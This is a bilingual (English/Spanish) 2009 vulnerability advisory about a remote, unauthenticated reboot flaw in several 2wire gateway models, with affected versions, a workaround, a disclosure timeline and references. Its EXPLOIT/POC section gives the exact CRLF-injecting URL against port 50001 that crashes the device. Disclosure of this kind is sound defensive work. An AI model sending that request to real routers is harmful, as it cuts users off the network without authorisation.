========================================
               2WIRE REMOTE DENIAL OF SERVICE
         ========================================


Device:    2wire Gateway Router/Modem
Vulnerable Software:  < 5.29.52
Vulnerable Models:  1700HG
      1701HG
      1800HW
      2071
      2700HG
      2701HG-T
Release Date:   2009-09-00
Last Update:   2009-09-00
Critical:   Moderately critical
Impact:   Denial of service
    Remote router reboot
Where:    From remote
    In the remote management interface
Solution Status:  Vendor issued firmware patches
      Providers are in charge of applying the patches
WebVuln Advisory:  1-003


  BACKGROUND
=======================

The remote management interface of some 2wire modems is enabled by default.
This interface runs over SSL on port 50001 with an untrusted issuer certificate.

++Español
Algunos módems 2wire tienen la interfaz remota habilitada por default.
La interfaz utiliza SSL con un certificado invalido en el puerto 50001.


   DESCRIPTION
=======================

Some 2wire modems are vulnerable to a remote denial of service attack.
By requesting a special url from the Remote Management interface, an unathenticated
user can remotely reboot the complete device.

++
Algunos módems 2wire son vulnerables a un ataque de denegación de servicio.
Un usuario no autenticado puede reiniciar el dispositivo enviando una petición a
la interfaz de Administración remota.


  EXPLOIT / POC
=======================

 https://<remoteIP>:50001/xslt?page=%0d%0a


  WORKAROUND
=======================

Disable Remote Management in Firewall -> Advanced Settings.

++
Deshabilitar Administración remota en Cortafuegos -> Configuración avanzada


   DISCLOSURE TIMELINE
=======================

2009/09/06 - Vulnerability discovered
2009/09/08 - Vendor contacted


                  =======================

                           h k m
                        hkm@hakim.ws
                    http://www.hakim.ws

                  =======================
Greets:
preth00nker, DromoroK, mr.ebola, Javier, d0ct0r_4rz0v1zp0, ch@vez, fito, HL, Xianur0, Pr@fEs0r X, Daemon.


  REFERENCES
=======================

Preth00nker's exploit (LAN) - http://www.milw0rm.com/exploits/2246
2Wire Gateways CRLF DoS (from local network) - http://secunia.com/advisories/21583
Hakim.Ws - http://www.hakim.ws
WebVuln - http://www.webvuln.com